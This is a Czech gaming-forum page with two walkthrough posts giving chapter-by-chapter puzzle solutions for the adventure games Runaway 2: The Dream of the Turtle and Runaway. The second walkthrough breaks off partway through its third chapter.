Welcome, Guest
You have to register before you can post on our site.

Username/Email:
  

Password
  





Search Forums



(Advanced Search)

Forum Statistics
» Members: 264
» Latest member: TbcPanda
» Forum threads: 180
» Forum posts: 1 035

Full Statistics

Online Users
There are currently 13 online users.
» 0 Member(s) | 12 Guest(s)
Google

Latest Threads
hi guys i am new on web
Forum: Česky
Last Post: rardcar
24.10.2019 02:42
» Replies: 0
» Views: 85
Goldenpeso
Forum: Česky
Last Post: RaymondEdurb
19.9.2019 11:08
» Replies: 0
» Views: 132
Call Of Duty: PHP Rules C...
Forum: Game tools
Last Post: Donatosdog
8.8.2018 04:52
» Replies: 72
» Views: 48 064
Proxy Guard
Forum: Bash scripts
Last Post: Donatosdog
8.8.2018 04:24
» Replies: 1
» Views: 3 773
Find apps blocking APK in...
Forum: Guides / Návody
Last Post: Donatosdog
8.8.2018 01:44
» Replies: 4
» Views: 4 242
Google AdSense Extension ...
Forum: Other
Last Post: SaRan
18.7.2018 07:42
» Replies: 34
» Views: 32 267
Call Of Duty: PHP RCon 2....
Forum: Game tools
Last Post: Brenton
14.3.2018 10:39
» Replies: 385
» Views: 196 282
Call Of Duty 2: Kafemlyne...
Forum: Game tools
Last Post: Ashus
6.1.2018 04:17
» Replies: 75
» Views: 44 075
Availability
Forum: Bash scripts
Last Post: Bethune
22.5.2017 01:59
» Replies: 1
» Views: 3 464
How to calibrate low-end ...
Forum: Guides / Návody
Last Post: Ashus
7.5.2017 01:30
» Replies: 0
» Views: 2 062

 
  Návod na hru Runaway 2: The Dream of the Turtle
Posted by: Ashus - 7.7.2007 03:18 - Forum: Guides / Návody - No Replies

Úvodem

Ve hře nejde nic zkazit, nemůžete umřít, nedostanete se do slepé uličky, ze které by se nešlo dostat a podobně. Zkuste hru hrát bez návodu, ale ve většině kapitol vám nepomůže najít si jen vaši situaci, musíte číst kapitolu od začátku, protože jste někde nejpíš na něco zapomněli (předměty můžete vyhledávat prohlížečem). Některé předměty ve hře jsou zbytečné úplně. S lidma taky kecejte o všem, není problém, že by se mohli urazit, stačí rozhovor ukončit a začít znovu, chybějící dialog se objeví. Celkem nepříjemně mně hra překvapila svou dějovou roztahaností (a někdy nelogičností) a na to hlavní se pak nedostane...


I. Uvězněn v džungli

Prozkoumejte krabice vpravo od vás a vezměte si z nich jedno mechanické štěně, na zemi ještě vemte střípek skla. V přední části mezi pohozenýma věcma najdete Gininu sponku do vlasů. Jděte do pilotní kabiny a začněte zleva. Vemte si z přihrádky lupu, přehoďte páčku a tím se otevře poklop venku. Vyjděte ven z letadla a když zkusíte poklop prozkoumat, uvidíte, že se vám hned zase zavře. Vraťte se tedy zpátky, přehoďte opět páčku a zajistěte ji Gininou sponkou. Vemte si tu ještě z další přihrádky dalekohled a whisku. Teď už se můžete podívat ven. Po sebrání kartičky se zkuste podívat nahoru do stromů. Neuvidíte tam, proto použijte dalekohled. Zajděte vybrat přední poklop letadla. Najdete v něm vodu a kliku. Jděte dál doprava do džungle. Prozkoumejte pohyblivý písek a vemte z něho Ottovy brýle (přijdete tak i k větvičce). Prozkoumejte místo, kde byl lemur a zkuste vylézt na skálu i na kámen vlevo. Podívejte se znova do poklopu letadla. Objevíte protiskluzový sprej. Běžte ho hned vyzkoušet na kámen vpravo. Vylezte na kámen a po krátké animačce zjistíte, že se musíte zbavit lemura. Takže nalijte vodu do mechanického štěněte a vypusťte ho na místě, kde si lemur hrál. Moc to ale nepomůže, lemur vodu vypije a psíka zahodí. Dojděte si do letadla pro dalšího psíka a nalijte do něj tentokrát whisku. Opět ho pusťte na stejném místě. Vezmete opici s opicí a psíka. Vylezte znovu na kámen vlevo, vyšplháte až na plošinku nahoře. Opusťte džungli.

Dostanete se k vachrlatému mostu. Zkuste si prohlídnout cedulku u něho a pak ji i dvakrát sundat, nebo přelézt po mostu Smile. Nic z toho vám však nepomůže. Ještě se můžete podívat dalekohledem na druhý konec mostu. Takže se můžete vrátit k letadlu. Zkuste použít lupu na paprsek světla. V inventáři spojte dohromady kliku s lupou, tím vznikne prodloužená lupa. Použitím prodloužené lupy na některý z paprsků světla ji zabodnete do země. V inventáři uřežte střepem pásek a upravte větvičku - zase střepem. Po spojení pásku s větvičkou získáte prak. Sestřelte ze stromu Ottovu tašku. Prozkoumejte ji a najdete v ní rozlomený klíč. Ten můžete spojit pod lupou paprskem světla. Jděte do letadla otevřít skříňku. Nepůjde to, takže sklem opracujte klíč. Ve skříňce objevíte sněhové botky. Přejděte most pomocí těchto bot.


II. Surfování na Male

Po animačce si prohlídněte blok, zjistíte, že vaše písmo je podobné a pak vás zavedou k plukovníkovi. Až si s ním pokecáte, dostanete se ven a můžete začít. Dejte se doprava, po dálnici na jih (doprava). Potkáte pěknou barmanku Lokelani, se kterou pořádně pokecejte. Vemte si tabulku s křídou a ze země držák na doutníky. Jděte k surfařské chatrči. Najdete tam mnicha. Zkuste s ním pokecat, ale bude jenom kývat a kroutit hlavou. Až vyčerpáte otázky, dejte mu tabulku s křídou. Něco se dozvíte, ale křída dopíše právě v nejlepším. Jděte dál k dřevěné konstrukci a všechno si dobře prohlídněte, včetně panelu zezadu, pak ještě prohlídněte umělého býka dole na pláži. Za budovou Seafood Kahuna najdete schovaného vojáka s hummerem. Bude vás považovat za nadřízeného v přestrojení. Prohlídněte si strom vpravo a naberte mízu do držáku. Vraťte se na pláž a jděte ke vstupu do sklepení. V kontejneru u něho najdete máslo. Jděte na dálnici, tím se dostanete na mapku a hned ke Knifeovi. Po pokecu pod chatkou seberte provaz a pudr. V inventáři dejte dohromady pudr a mízu. Vznikne vám křída. Pokecejte ještě s Kaiem a jděte se podívat vlevo ke člunu. Vemte nářadí. Skřídou utíkejte zpátky kmnichovi, rozkecá se. Zjistíte, že to je váš starý známý, mimozemšťany unesený Joshua. Pokecejte s Lokelani o umělém býkovi a docvakne vám, jak získat člun. Voják O'Connor bude celý bez sebe, když mu dáte provaz. Zatímco bude šplhat, vemte mu zknížky fotku profesora Pignona. Jděte se zeptat Knifea, jestli vám půjčí člun, když mu dáte možnost surfovat. Vraťte se k býkovi, zkuste ho spravit nářadím, ale zjistíte, že na to nemáte.

Jděte tedy ukecat Joshuu, domluvíte se s ním, že mu za spravení pomůžete dostat se z ostrova. Bude si u býka prozpěvovat, podejte mu tedy krabici s nářadím a máslo. Kousek poodejděte a vraťte se. Na zemi bude ležet máslo, seberte ho. Joshua vám řekne, že ještě potřebuje elektřinu. Pokecejte s Lokelani o stánku na focení. Běžte se k němu podívat, zkuste pod ním něco najít. Normálně to ale nepůjde, takže tam pošlete lemura. Nevrátí se, místo toho bude chtít pivo. Lokelani vám však na sekeru nedá. Bude chtít vědět, jestli jste dobře poslouchali (Milo, Lopati, Tiroo, Russell). Pivo zaneste lemurovi a dá vám žeton. Vraťte se surfařské budce a zkuste si vzít lano s hákem opřené o okraj, vlezte i pod budku; nepůjde to, takže na rozvázání použijte něco másla. Jděte hák zaklínit k příčce na dveřích sklepní. Zkuste za něho potáhnout, ale aspoň už máte i důvod půjčit si vojákovo auto. Běžte ho tedy poslat znovu na strom a odjeďte urazit příčku. Vlezte do sklepení a pod schody najdete detektor kovu. Dále věnujte pozornost jističům vlevo od schodů. Zkuste nahodit jistič od umělého býka - vyhodí to hlavní jistič, protože je odběr moc velký. Aby byli všichni spokojeni, zapněte první a druhý horní jistič, první dole a taky ještě ten hlavní. Ostatní musíte vypnout. Jděte vyzkoušet mechanického býka. Zajděte o něm říct Knifeovi a únikovou část plánu máte hotovou.

Teď zbývá proplížit se do tábora pro Ginu. Jděte k fotící budce, vhoďte dozadu žeton a nechte si udělat fotku s Lokelani. Jděte do Knifeova stanu, zkuste s Koalou pokecat, ale nic neřekne. Venku najděte umělou Kaiovu nohu zahrabanou v písku pomocí detektoru kovu okolo želvy z písku. Vraťte se do baru za Lokelani a znovu se sní pobavte o kariéře vHollywoodu, hlavně pak o softwaru pro vizážisty, řekne vám, že potřebuje dvě fotky. Dejte jí je. Poté, co Lokelani odejde, jí uletí papoušek. Trošku se s ní pohádáte a povíte jí pohádku, takže až skončí kecání, dojděte pro papucha k O'Connorovi. Ten ho ze stromu sice sundá, ale trošku jinak, než by se vám hodilo. Mrtvého papoucha doneste Kaiovi. Ptáka však neoživí, místo toho se dozvíte, že musíte najít chatku jeho dědy. Jděte za plukovníkem, a když Flowerpot odejde, napište mu do notesu, aby našel chatu na severovýchodní části ostrova. S plukovníkem pak nemá smysl mluvit. Vraťte se hned zase zpátky za plukovníkem, uslyšíte souřadnice, které si hned poznačíte na kus papíru Flowerpotova notesu. Jděte k O'Connorovi, zeptat se na GPS. Teď už konečně můžete jít za nezbedným dítkem Koalou, prohlídnout si znova hračku, co drží a zkusit mu ji vzít. Nedá se nic dělat, musíte mu půjčit na hraní lemura. V inventáři vložte souřadnice do GPS a dostanete se k chatrči. Vevnitř všechno pěkně prohlídněte a vezměte si želví krunýř. Vraťte se s novinou ke Kaiovi. Půjdete spolu do chatky, kde Kai zjistí, že nemá knihu kouzel, kterou potřebuje na oživení papoucha. Poté co se otočí a usne, musíte ho vzbudit, abyste věděli, co máte vlastně hledat; kniha kouzel jeho dědy byla vázána v kovové vazbě. Vyjděte ven a postupujte po obrazovce vpravo, dostanete se ke hřbitovu. Tam použijte detektor kovu na některý zhrobů a najdete knihu. Vykopejte hrob želvím krunýřem a sledujte celkem dlouhou animačku.


III. Jednodušší než Ameba

Prohlídněte si počítač před sebou a zkuste otevřít kufřík na stole. Na stole vpravo najdete extra pevný sáček. Vlevo v krabicích najdete kameru. Zkuste jít do přilehlé místnosti vlevo, ale hlídač vás zastaví. Zkuste použít kameru na bezpečnostní kameru nahoře, napadne vás plán, který ale zatím nemůžete provést. Vylezte nahoru po žebříku na pravé straně, prohlídněte si přilehlou plošinu a ovládání a brzy poté budete muset slézt, aby na vás hlídač viděl. Vylezte zpátky nahoru a vraťte se k ovládání. Když se podíváte doleva, uvidíte kbelík, zkuste ho vzít a tím se obrazovka posune ještě víc vlevo. U přehozené rohožky najdete lepící pásku. Teď už můžete provést plán výměny kamer a pustit hlídači smyčku. Slezte dolů a dejte se do přilehlé místnosti vlevo. Prohlídněte si kulečníkovou kouli a vraťte se zpátky. Vyjděte východem vpravo, zkuste se projít po schodišti v prostředních dveřích a pak vylezte ven pravými. Bude tam voják O'Connor, po pokecu dostanete obálku. Tu prozkoumejte a najdete prsten. Běžte jím otevřít záhadný kufřík. Najdete v něm brýle, kartu, zvláštní rukavici a blikátko na mazání paměti. Vraťte se k vojákovi a pokecejte s ním o obálce. Poznal vás, takže na něho použijte blikátko. Po vtipné animačce jděte zpátky dovnitř. Běžte ke kvádru s kulečníkovou koulí a všimněte si zdířky uprostřed. Dejte do ní kartu a kvádr zmizí. Zkuste kouli vzít, ale bude moc těžká. Dejte do děr kuličky z blikátka. Šáhněte na kouli rukavicí a objeví se dvě černé díry. Zkuste dát ruku do obou.

Vraťte se do vedlejší místnosti k počítači, přečíst si o Amebě. Vytvoříte papírek se schématem, že černé díry mají fungovat jako jednosměrný teleport. Vraťte se tedy znovu si odemknout kostku a šáhnout rukavicí na kouli. Podívejte se na Alaula Cove na ostrově. Joshua tam sedí pod palmou a po pokecu se spojení přeruší. Pokusy o spojení jinam se ale nezdaří, tak zkuste ještě jednou za Joshuou. Další pokusy už budou k ničemu. Musíte totiž nejdřív odejít z místnosti a nechat kvádr znovu zamknout kouli. Vraťte se a zpátky za Joshuou. Zeptejte se ho, jak proběhla operace a nechte si hodit zubařské nástroje. Těmi si zpřístupníte ovládací panel na plošince nahoře. Vyvezte se nahoru a prohlídněte si tlamu sošky a vlezte do ní. Prohlídněte si archeologovu tašku, získáte hadí jed. Na zemi ještě seberte bič a jděte obrazovkou doprava. Po animačce si prohlídněte krabici srukavicemi a vraťte se zpět k mrtvému archeologovi, kde zvědněte klobouk na vrchu koule. Sedí tam pavoučice Adelina. Chyťte ji do extra-pevného sáčku. Vraťte se k výklenku a zkuste vypustit pavouka. Vylezte ven ze sochy a svezte se plošinou zpátky do hlavní místnosti. Jděte doprava do východu. Zkuste položit odpuzovač hmyzu ke schodům zadního východu - tam, kde jsou stráže. Nepůjde to, takže nejdřív uvolněte víko zubařskými nástroji. Po položení odpuzovače do škvíry na schody se vraťte zpátky nahoru do tlamy. Vypusťte pavouka a dejte věci do pohybu. Vykoukněte ven z tlamy a zkuste použít bič na levou náušnici sochy. Musíte se ale nejdříve zbavit vojáků dole. Vraťte se zpátky do výklenku s pavoukama a seberte vysílačku. Teď už to s bičem musí jít.


IV. Ten kdo ví, nemluví

Pokecejte s Joshuou, nic moc ale neřekne. Z krbu seberte olejničku. Vlevo ze skříňky vemte rezavý nůž a vpravo jedno polínko. Vyjděte ven a ze zdi sundejte kanistr. Vpravo si prohlídněte auto. Jděte doleva dolů a po cestě, kudy jste přišli. Potkáte Bena, poradí vám, že Joshuovi musíte sehnat syrového lososa proti otravě. Z kytky za vámi si utrhněte list. Jděte dále doleva. Když se dáte ještě více doleva, uvidíte kládu na zmrzlé řece. Z ní uvidíte pod ledem plovoucí lososy. Jděte nahoru k Benově budce. Prohlídněte si sekeru a vylezte nahoru. Tam zkuste zahrát na kytaru, pak ji naladit a zahrát znovu. Seberte hokejku a motorovku, vpravo pak esenci medvědice v říji. Ze dveří sundejte bambusovou rohožku s asijským písmem a vyjděte jimi. Rozsviťte olejovou lampičku a ze sudu seberte hadičku. U domu profesora Simona můžete zkusit vymyslet nějaké heslo, ale bude špatné. Vraťte se tedy za Joshuou, prokecejte se až ke schované části o jeho japonských předcích, zjistíte, že sní syrového lososa připraveného jedině jako sushi. Venku z auta napusťte do kanistru trochu benzínu. Zkuste z kanistru nalít benzín do motorovky. Není tam ale olej, takže musíte nejdřív nalít olej do kanistru a pak teprve naplnit motorovku. Motorovou pilou uřízněte plastovou hlavu losa z auta. U zamrzlé řeky, kde jste viděli ryby použijte motorovku k vyřezání díry v ledu. Hned ale přiběhne medvěd, kterého se musíte zbavit.

Vraťte se za Benem a zeptejte se ho na přípravu sushi, dozvíte se o Archibaldovi. Jděte do Benovy budky a zkuste zahrát Jingle Bells na kytaru. Přiběhne Archibald a hodí po vás bělidlo. Po pokecu vylezte nahoru na balkón pro bělidlo. Použijte ho na losí hlavu. Pak do umělé hlavy vyřežte ještě díry nožem. Slezte a na špalku z polínka odsekněte čínské hůlky. Jděte donést Benovi losí hlavu. K zamrzlé řece se nemůžete podívat přímo, takže si to obejděte přes prostor před branou profesora. Ben už tam ale nebude, takže se vraťte. Zkuste ho tam ještě jednou poslat a tentokrát neodcházejte. Vyměňte lahvičku s esencí v jeho batohu za tu, co máte. Odejděte a vraťte se. Pošlete ho tam znovu Smile. Běžte k řece. Všimnete si medvědí tlapy na řece, nepůjde ale vzít, takže si ji přisuňte hokejkou. Běžte si pomocí hokejky zkusit chytit lososa. Bude moc kluzká, musíte na ni nasadit tlapu a pak už to půjde. Běžte nahoru k chatce a pískněte na Archibalda. Spustí se další animačka. Joshua uvízne na kře uprostřed jezera. Běžte si prohlídnout naviják na autě vpravo. A zkuste nastartovat navíjení. Po zjištění, že nejdříve musí běžet motor, zkuste vlézt do auta a nastartovat. Otevřte kapotu, ale hned spadne, takže ji zajistěte hokejkou a prohlídněte, co chybí. Svíčka je v motorovce, dostanete ji z ní ven pomocí nože. Pak už ji jen zasadíte do motoru a hurá na další video.


V. Poslán do minulosti

Prohlídněte si nejdřív panel na zdi za vámi a pak běžte do místnosti vlevo Neptunovi sebrat trojzubec. Vraťte se dveřmi zpátky a vyjeďte otočným výtahem na levé straně nahoru. Po kompletním pokecu se Sushi (dozvíte se kód k panelům na dveřích) se vydejte ke kajutám (vlevo dole na obrazovce). Po dalším vyčerpávajícím pokecu, tentokrát s Rutgerem, si vemte ze zahradnických potřeb písek. Pak ze země zkuste vzít telepatickou helmu. V ledničce nic není, akorát je o ni opřený masivní smeták, tak si ho vemte. Běžte úplně doprava na palubu, málem se tam zabijete o navoskovanou podlahu. Vraťte se tedy přes místnost se Sushi zpátky do podpalubí. Jděte zpět do místnosti se sochou Neptuna, bude tam Saturn. A hned máte co dělat. Jděte zadat kód do panelu u dveří, potkáte Camillu, pak i Deana - cestovatele. Prohlídněte si přetlakové komory vpravo a vezměte si z krabice dvě hadičky. Běžte do nákladového prostoru (od schodů, kde seděla Camilla nahoru) a vypusťte slanou vodu. Vylezte po žebříku, dozvíte se, že nádrž nemá víko. Prohlídněte si čudlík s intercom napravo, zjistíte, že vás může spojit se Sushi. Vpravo od dveří je červený čudlík. Zmáčkněte ho. Dveře se otevřou a hned zase zavřou (nepřipomíná vám to něco z 1. a 4. kapitoly?). Strčte smeták do dveří a objevíte ve vedlejším nákladovém prostoru podobnou místnost - a plastové úchytky.

Vraťte se zpět po schodech a zase pomocí panelu u dveří se dostanete zpět ke Camille. Po pokecu s ní odejde, dozvíte se, že Dean má oběd zabalený právě v chybějících stránkách časopisu. Prohlídněte si nářadí na zdi, napadne vás, že Sushi by mohla mít klíč. Vraťte se tedy nahoru k Sushi. Požádejte ji o klíč ke skříňkám s nářadím. Rutgera se zeptejte na helmu, zkuste mu navrhnout, že ji Saturn musí opravit a pak mu od Saturna vyřiďte třetí z možností. Pošle vás za ním zpátky. Saturnovi vyřiďte odpověď číslo 2. Zkuste si od Saturna ze stolu půjčit blok. Když už jste dole, jděte ke skříňce. Znovu tu potkáte Camillu, dá vám dvě láhve vína. Prohlídněte si tu, ve které byla sekera a hadice, musí je mít Joshua. Zahlídnete ho po cestě nahoru k Rutgerovi. Zase mu vyřiďte vzkaz od Saturna, tentokrát č. 1. Zase vás pošle dolů, tam použijte odpověď č. 2. Když odpovíte Rutgerovi číslem 3, dá vám helmu. Vraťte se do prostoru vpravo od Deana a Camilly. V inventáři si spojte plastovou úchytkou potápěčské hadičky. A z krabice si vemte další hadičky. Hned je spojíte v jednu větší hadici. Teď můžete zkusit připojit hadici k ventilu dole od místa, kde byla hasičská hadice. Brian ale bude chtít nejdříve splnit zbytek úkolů. Běžte za Deanem a pokecejte s ním o všem. Ukončete rozhovor a začněte druhý. Budete se ho moct zeptat na Joshuu. Stejně ho ale nijak neukecáte, stránky vám nedá, dokud nedokončí natáčení.

Vylezte ven na chodbu, kde jste začínali a schovejte si vína do své skříňky (vína použijte na chodbu ke kajutám), jenže... Prázdné láhve budou mít určitě víc užitku. Do jedné z nich nasypte písek. Spojte láhve plastovýma úchytkama a vytvoříte tím přesýpací hodiny. K nim připevněte trojzubec. Svůj výtvor dejte Saturnovi, dostanete za něho blok. Ze stolu u Saturna si ještě vemte fix. Blok teď zaneste Deanovi, aby nezapomněl slova. Potkáte Camillu, můžete jí poděkovat za víno. Jak předáte blok, začne animačka.

Běžte se podívat dolů za Saturnem, na jeho nový vynález. Pak běžte k nádrži a najdete tam Saturnovu krabici s nářadím a v ní pilu. Vpravo pak ze smetáku kus uřežte a vznikne vám kartáč. Zkuste vyjít ven, ale dveře se vám neotevřou. Běžte k intercomu, zjistíte, že si Joshua pohrál s kódama všech dveří a Sushi to bude trvat hodiny, než to spraví. Otevřte si čudlem vedle intercomu horní poklop. Vylezte po žebříku a přelezte po hraně nádrže. Nepůjde to cvaknutím přímo do otevřeného poklopu. Dostanete se k Sushi, zjistíte, že Joshua si dál hraje s bezpečnostním systémem lodi. Pokecejte se Sushi o všem a nakonec se rozhodněte jít znova dolů pod hladinu. Začně další animačka a hned po ní ještě jedna. Dozvíte se, že Joshua dělá nepořádek v nákladovém prostoru. Sejděte dolů za Saturnem, má zatím hotový jen jeden elektromagnet, takže vám je ještě nedá. Běžte k nádrži, ovšem uvidíte, že žebřík zmizel. Stejně jako vaše pracně dělaná podpěra dveří. Otevřte si znovu horní poklop. Vraťte se k Saturnovi, už bude mít elektromagnety hotové. Použitím elektromagnetů na zeď u nádrže přelezete do druhé místnosti nákladového prostoru pro páčidlo a spustí se závěrečná animačka kapitoly.


VI. Skrytý talisman Avernusu

Ze stolu seberte otvírák na dopisy, co vypadá jako dýka. Dále na něm najdete těžítko. Po kompletním pokecu se spoluvězenkyní Camillou si prohlídněte pouta na nohách. Na sloupu směrem ke Camille je nakřivo zabitý hřebík, prohlídněte si ho. Zkuste ho vypáčit otvírákem na dopisy, ale jste moc daleko, takže ho hoďte Camille. Po krátké animačce dostanete hřebík, kterým si můžete odemknout pouta. Další animačka. Jste volní, takže můžete začít plnit další úkoly. Pokecejte si s papouškem, nic vám ale nepoví. Vylezte ven na balkón, všimněte si láhve zavěšené na provazu a vpravo ze země seberte tři semínka. Dejte je papouchovi. Řekne vám část věty, ale nedokončí ji. Další semínka už vzít nejdou, musíte tedy vymyslet plán, jak dát pirátům nad balkónem grog, aby se vám dostalo dalších semínek. Projděte místnost zleva kousek po kousku. Ze stolu seberte baňku od grogu. Otevřte skříňku, najdete v ní ale jen nějaké písemnosti. Z láhve dále vyndejte dračí jazyk. Plivněte do japonské vázy na zemi. Zkuste vyjít dveřma, za kterýma stojí pirát. Nepustí vás. Připevněte jazyk na dveře, a závažím sejměte piráta za nima. Vyjděte za pirátem a seberte ze země závaží. Zkuste otevřít divné dveře vpravo. Začne z nich nebezpečně hrozit meč, jděte tedy o kousek dál. Prohlídněte kostru piráta a bečku plnou vody. Jděte za roh (šipka přeblikne na směr doprava v dolní části schodů), potkáte tam piráta přidělujícího grog. Dá vám tři úkoly, abyste se mohli stát piráty a dostat svůj denní příděl grogu.

Jako první splníte úkol znalostní, tady jsou správné odpovědi: Long John Silver, doktor, sufrování na želvách, Henry a Diego, Henry, Joao a Jean-David, Diego. Druhý úkol vyžaduje krádež. Vraťte se zpátky až na balkón a prohlídněte si okno vpravo, pak jeho visící parapet. Otvírákem na dopisy prkno odlomíte. Vejděte dovnitř a prkno nastavte mávajícímu meči. Zmrzačíte opici, v kupě zlata vyberete zlatou sošku a prohlídnete si všechny obrazy u východu. Vraťte se s úlovkem za pirátem s grogem. Zkuste mu dát i opici, ale podle Briana to nestačí. Pak zkuste opici vymáchat v sudu s vodou. Chybí vám ale mýdlo, tak se vraťte k pirátovi a z truhly vlevo od něho ho najdete. Vraťte se umýt opici v mýdlové vodě. Opici ukažte pirátovi a konečně splníte třetí zkoušku. Běžte do kajuty kapitána a doneste odtud pirátovi certifikační listinu piráta nízké morálky. Dejte pirátovi plázdnou lahev a dostanete grog. Vraťte se na terasu a zkuste nalít grog do visící láhve. Nepůjde to, navíc hrdlo visící láhve je příliš úzké. Přibijte zpátky dřevěné prkno. Běžte zpátky do místnosti s pokladem. Poberte všechno včetně nálevky. Konečně přelijte grog do visící láhve na balkóně. Začnou padat další semínka, vlezte do místnosti a hned zase ven. Najdete pět dalších semínek pro papoucha. Dejte mu je. Prozradí vám, jak máte točit glóbusem - začněte doprava. Vždy po cvaknutí změníte směr otáčení. Nejdříve točte doprava (myslím myš mít při cvakání napravo) jednou okolo celé osy (začnete na Anglii a projedete jí ještě jednou) až k Japonsku. Pak doleva k Newfoundlandu a zase doprava k Řecku.

Hotovo. Konec. Kantare Smile


  Návod na hru Runaway
Posted by: Ashus - 7.7.2007 03:11 - Forum: Guides / Návody - No Replies

Předmluva

Když s někým kecáte, kecejte o všem. Když píšu: "Dejte někomu něco", myslím tím, že tu věc vezmete z inventáře a použijete na člověka. Nezapomínejte na drobné detaily, mohli byste kvůli nim ztratit docela hodně času.


Kapitola 1.: Honička s mafií

Prohlídněte si plán nemocnice na dveřích. Potom ze stolku seberte pohárek a tabletky. Z postele vemte přikrývku a nahoře ze skříňky Gininu tašku. Tu u sebe hned prozkoumejte. Jděte do koupelny dveřmi vpravo. Tam najdete lahvičku s alkoholem na poličce nad umyvadlem a fix v koši. Vraťte se k Gině a vylezte oknem do skladu.

Na kartotéce seberte knížku a všimněte si, že z kartotéky vyčnívá papír. Ten tam samozřejmě nenechejte jen tak ležet. Dál je tam figurína, které utrhněte hlavu. Na druhé straně skladu si nahoře posbírejte sprej, injekční stříkačku a polštáře. V inventáři si zkuste napsat fixem něco na prázdnou kartičku z kartotéky. Nepůjde to, takže nejdříve naplňte injekční stříkačku alkoholem z lahvičky. Oživeným fixem teď s klidem můžete vyplnit kartičku.

Vraťte se oknem zpátky ke Gině. Na prázdnou postel vedle zkuste položit polštáře. Prohledejte znovu Gininu tašku. Najdete paruku, kterou přikryjte hlavu figuríny. Teď už konečně vemte polštáře a naskládejte je na postel společně s hlavou a dekou. Teď vyměňte kartičky pacientů a pravou Gininu připevněte na druhou postel. Odejděte do koupelny.

Po animačce se vrátíte zpátky zkontrolovat Ginu. Podívejte se do lékařské knihy, kterou jste sebrali ve skladu. Vemte sprej a použijte plamenomet na požární hlásič.


Kapitola 2.: Krucifix

Po pokecu s doktorkou Olivawovou se podívejte do poliček vlevo a vyměňte krucifix za podivný mayský předmět. Vemte štětec s mastkem a z kufříku bezbarvý lak. Vyjděte ven a do Clivovy pracovny vedle. Ze stolu seberte knížky. Jděte zpátky na chodbu a prohlídněte si nefunkční automat na kávu. Slezte po schodech a hoďte pokec s uklízečem Willym. Za chvíli odejde, takže se moc nedovíte. Zajděte se mrknout do mayské výstavy. Když se vrátíte, Willy bude zpátky připraven k dalšímu "tlachání".

Vylezte nahoru po schodech a zavolejte telefonem na Willyho číslo. Půjde do skladu. Jděte třeba do restaurátorské laboratoře a hned zase zpátky na chodbu. Natřete lak na ovládací panel ocelových dveří. Zavolejte znovu Willymu. Potom co zajde do skladu zase nahlídněte do místnosti s doktorkou. Na panel tentokrát naneste prášek z mastku. Zvýrazní se vám čtyři čudlíky: 1, 3, 7 a 8. Můžete vyzkoušet všech 16 kombinací, ale správná je jenom 8137.

V analyzační laboratoři si vemte ze stolu pozlacený předmět a přečtěte papírek pod ním. Prohlídněte si termickou komoru. Zkuste ji otevřít. Zmáčkněte vypínač na komoře pro otevření. Jelikož nemáte hlas zaměstnance, nepustí vás dovnitř. Dejte se přes chodbu do Clivovy pracovny. Použijte podivný klíč na podivnou dírku ve stolu. Otevře se sejf. V něm najděte diktafon. Zavřete sejf klíčem a jděte za doktorkou. Nahrajte si ji diktafonem a vraťte se do analyzační laboratoře.

Použijte diktafon na ovládání zámku termické komory. Samozřejmě ve všem musí být nějaký háček, takže je baterka vybitá. Jděte na druhý konec místnosti a ze zdi seberte laboratorní měrku. Dejte do ní baterku a pak to celé vložte do tekutého dusíku. Baterku dejte zpátky do diktafonu a otevřete termickou komoru. Vemte mayskou masku. Vyrýpněte z ní rubín podivným mayským předmětem. Rubín dejte doktorce do laseru.

Zdrcená doktora rozbila svůj první artefakt a nutně potřebuje kávu, tak ji nějakou sežeňte! Zajděte do Mayské výstavy a mezi předměty najdete misku s něčím, co se podobá zrnkům kávy. Zaneste kávu Willymu. Vraťte se k doktorce a rozemelte zrnka vrtačkou. Znovu ji zaneste Willymu. Vedle dveří do Clivovy pracovny najdete koš, ve kterém je vyhozený obal od kávy. Vemte si ho a nasypte do něj kávu z misky. Teď už ji konečně zaneste Willymu. Dojděte si koupit kafe a zaneste ho doktorce.

S krucifixem zajděte do laboratoře se scannerem.


Kapitola 3.: Velký útěk

Vemte dmychadlo, čistící prostředek a hadr, ze země pak páčidlo a kulatý dřevěný špalík. Namočte hadřík v čistidle a utřete jím okno nad mrazákem. Otevřete dvířka mrazáku a vypojte ho ze zásuvky. Počkejte, než se led rozmrazí a vypusťte z něho vodu. Prázdným mrazákem snadno posunete, takže do toho. Zámek rozmlaťte páčidlem a otevřete dvířka. Vylezte ven.

Po seznámení se zpěvačkami prohledejte kufr. Najdete vyfouklý míč. Vstupte dovnitř do autokaru. Na podlaze uvidíte ruční vysavač. Vemte si ho. Z regálu vpravo si vyberte jednu ze rtěnek a sluneční brýle. Jděte do zadní části. Prohlídněte si ledničku, objevíte na ní zámek. Pokecejte s Carlou. Z poličky vemte jehlu a niť. Vysavačem vysajte prášek spadlý pod mřížku. Zašijte jehlou a nití prasklý míč na košíkovou a nafoukněte ho dmychadlem. Vystupte ven a posuňte se víc vpravo od autokaru. Dostanete se na mapu.

Jděte nahoru od chatrče mafiánů. Prohlídněte si škvírou stodolu. Zjistíte, že je to hangár. Vlezte zadním oknem dovnitř a vemte si do ruky prášek z inventáře. Počkejte na vhodný okamžik (až položí pivo k vám) a zkuste ho tam hodit. Vraťte se k autobusu. Pokecejte sLulou, řekněte jí, že potřebujete pomoc. Když jí pak hodíte míč, přesvědčíte ji. V příhodný okamžik hoďte frajerovi prášek do piva. Získali jste dopravní prostředek k plánu a tím další kousek skládačky. Vraťte se k frajerovi. Páčidlem majzněte do motorky a seberte kus kovu. Než odejdete, nezapomeňte si ještě vzít nádobu od arašídového másla. Přes mapu se dostaňte doleva nahoru, k těžební věži. Tam namočte sluneční brýle do louže nafty. Vraťte se zpátky k autobusu.

Vražte upadlou páku z motorky na čep a otočte jím. Zavřou se dveře. Vezměte si z dveří klíč. Jděte do zadní části k ledničce. Otevřete ji klíčem. Najdete v ní máslo. Abyste mohli vyjít ven, musíte si znovu otevřít dveře. Venku vezměte sluneční brýle od ropy a vyměňte je Mariole za její. Budete si moct vzít olej na opalování. Tentokrát se vydejte na mapě úplně doprava nahoru.

Vyskočte do starého dřevěného vagónu. Z kbelíku si vyberte vrut. Dejte ho do dřevěného kolíku, čímž vznikne vývrtka. Na zavřený sud vedle použijte páčidlo. Najdete tam buráky. Vylezte z vagónu na mapu a jděte k chatrči mafiánů. Pod ní najdete kbelík. Na mapě se vydejte na poslední neprobádané území (vlevo dole). Z letadla si vemte nábojový pás a přilbu. Teď se vraťte do vagónu. Vzadu je sud s nápisem XXX. Zkuste na něj použít vývrtku. Tak pod něj dejte nejdřív kbelík a pak opakujte pokus s vývrtkou. Seberte kbelík se střelným prachem a jděte se vrátit k autobusu.

